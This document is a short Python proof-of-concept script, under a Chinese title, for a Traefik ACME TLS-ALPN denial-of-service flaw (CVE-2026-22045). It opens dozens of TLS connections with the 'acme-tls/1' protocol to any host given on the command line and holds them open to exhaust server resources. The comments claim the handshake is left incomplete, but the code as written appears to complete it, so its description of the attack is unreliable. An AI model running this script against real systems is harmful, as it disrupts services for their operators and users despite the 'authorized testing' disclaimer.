CVE-2026-22045 Traefik ACME TLS-ALPN拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-22045 PoC - Traefik ACME TLS-ALPN DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import ssl import time import concurrent.futures def create_acme_tls_attack(target_host, target_port=443, num_connections=100): """ Simulate the ACME TLS-ALPN attack that causes resource exhaustion. The attack sends a minimal ClientHello with acme-tls/1 protocol, then stops responding to tie up goroutines and file descriptors. """ connections = [] try: # Create multiple SSL contexts with acme-tls/1 ALPN for i in range(num_connections): context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Set ALPN protocols including acme-tls/1 context.set_alpn_protocols(['acme-tls/1', 'http/1.1']) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: wrapped_sock = context.wrap_socket(sock, server_hostname=target_host) wrapped_sock.connect((target_host, target_port)) # Send minimal ClientHello (simulating the attack) # In real attack, ClientHello with acme-tls/1 is sent # Then connection is left open without completing handshake connections.append(wrapped_sock) print(f"[*] Connection {i+1}/{num_connections} established") except Exception as e: print(f"[!] Connection {i+1} failed: {e}") sock.close() print(f"\n[+] Established {len(connections)} malicious connections") print("[*] Connections left open - resources being consumed") # Keep connections open to maintain resource exhaustion time.sleep(30) finally: # Cleanup for conn in connections: try: conn.close() except: pass if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-22045-poc.py <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f"[*] Starting CVE-2026-22045 attack against {target}:{port}") create_acme_tls_attack(target, port, num_connections=50)